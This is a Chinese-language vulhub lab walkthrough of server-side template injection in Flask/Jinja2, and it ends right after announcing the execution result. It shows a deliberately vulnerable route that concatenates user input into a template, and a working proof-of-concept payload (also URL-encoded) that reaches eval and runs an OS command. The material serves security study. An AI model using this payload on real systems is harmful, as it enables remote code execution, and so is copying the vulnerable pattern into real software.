Flask(Jinja2) 服务端模板注入漏洞vulhub
前言
Flask简介
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Jinja2 模版部分语法
-
变量
Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。Hello, {{ name|capitalize }}
-
if&for语句
if语句简单示例{% if user %} Hello,{{user}} ! {% else %} Hello,Stranger! {% endif %}
-
for语句循环渲染一组元素
<ul> {% for comment in comments %} <li>{{comment}}</li> {% endfor %} </ul>
漏洞原理
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。
漏洞环境
编译及运行测试环境:
cd flask/ssti/
docker-compose build
docker-compose up -d
漏洞复现
flask/ssti后端源码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
观察代码 name变量完全可控
输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。
访问http://172.168.30.66:8000/?name={{233*233}}
,得到54289,说明SSTI漏洞存在。
eval()函数又称为评估函数,作用是去掉参数中最外层引号并执行剩余语句。
划重点:只去掉最外层引号
eval()的参数形式为字符串或字符串变量,在程序中可以将字符串形式的输入值转化为数字进行计算。
更广泛的应用是将任意字符串形式的输入值转化为Python可处理的语句。
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问http://172.168.30.66:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
,得到执行结果: